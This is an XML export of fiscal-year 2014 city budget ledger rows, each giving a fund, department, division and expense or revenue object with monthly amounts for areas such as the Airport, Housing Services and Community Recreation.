<row _id="11256"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7928.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>92</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8020.0</total></row>
<row _id="11257"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522510.0</object><object_description>COMMUNITY OUTREACH</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19342.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19342.0</total></row>
<row _id="11258"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>575.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>575.0</total></row>
<row _id="11259"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>442982.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>442982.0</total></row>
<row _id="11260"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>87734.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>87734.0</total></row>
<row _id="11261"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>651.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>651.0</total></row>
<row _id="11262"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15249.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15249.0</total></row>
<row _id="11263"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>52</fund_id><fund_name>Special Aviation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-1700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1700.0</total></row>
<row _id="11264"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544740.0</object><object_description>ARTIST FELLOWSHIPS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>60500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60500.0</total></row>
<row _id="11265"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20500.0</total></row>
<row _id="11266"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="11267"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3200.0</total></row>
<row _id="11268"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2051.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2051.0</total></row>
<row _id="11269"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1410.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1410.0</total></row>
<row _id="11270"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>402390.0</object><object_description>DWR SUSTAINABLE LANDSCAPE GRAN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>-135654.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-135654.0</total></row>
<row _id="11271"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>579290.0</object><object_description>UTILITIES BILLING SERVICES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>308479.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>308479.0</total></row>
<row _id="11272"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>406980.0</object><object_description>PBAD ASSESSMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-32981.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-32981.0</total></row>
<row _id="11273"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>321826.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>4773</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>326599.0</total></row>
<row _id="11274"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8349.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>107</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8456.0</total></row>
<row _id="11275"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1080.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1080.0</total></row>
<row _id="11276"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="11277"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>25370.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25370.0</total></row>
<row _id="11278"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2291.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2291.0</total></row>
<row _id="11279"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1506.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1506.0</total></row>
<row _id="11280"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>447.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>447.0</total></row>
<row _id="11281"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="11282"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577650.0</object><object_description>MAINTENANCE / GUARDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>62000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>62000.0</total></row>
<row _id="11283"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8376.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8376.0</total></row>
<row _id="11284"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18503.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18503.0</total></row>
<row _id="11285"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400924.0</object><object_description>SPC ADMIN EXPANSION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>-11714</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11714.0</total></row>
<row _id="11286"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>403720.0</object><object_description>SERIAL INEBRIATE GRANT ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>-26147</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-26147.0</total></row>
<row _id="11287"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29068.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29068.0</total></row>
<row _id="11288"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>717525.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>717525.0</total></row>
<row _id="11289"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12115.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12115.0</total></row>
<row _id="11290"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-7816.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7816.0</total></row>
<row _id="11291"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>379.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>812.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1191.0</total></row>
<row _id="11292"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>912.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>912.0</total></row>
<row _id="11293"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="11294"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577341.0</object><object_description>SECT 8 HSG-PORTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>88100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>88100.0</total></row>
<row _id="11295"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9232.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9232.0</total></row>
<row _id="11296"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7117.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7117.0</total></row>
<row _id="11297"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>38005.0</july><august>0</august><september>0</september><october>0</october><november>11266.0</november><december>2234</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51505.0</total></row>
<row _id="11298"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>522.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>522.0</total></row>
<row _id="11299"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>360.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>360.0</total></row>
<row _id="11300"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1750.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1750.0</total></row>
<row _id="11301"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>250.0</total></row>
<row _id="11302"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>577110.0</object><object_description>PAYMENTS TO RENT CONTROL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
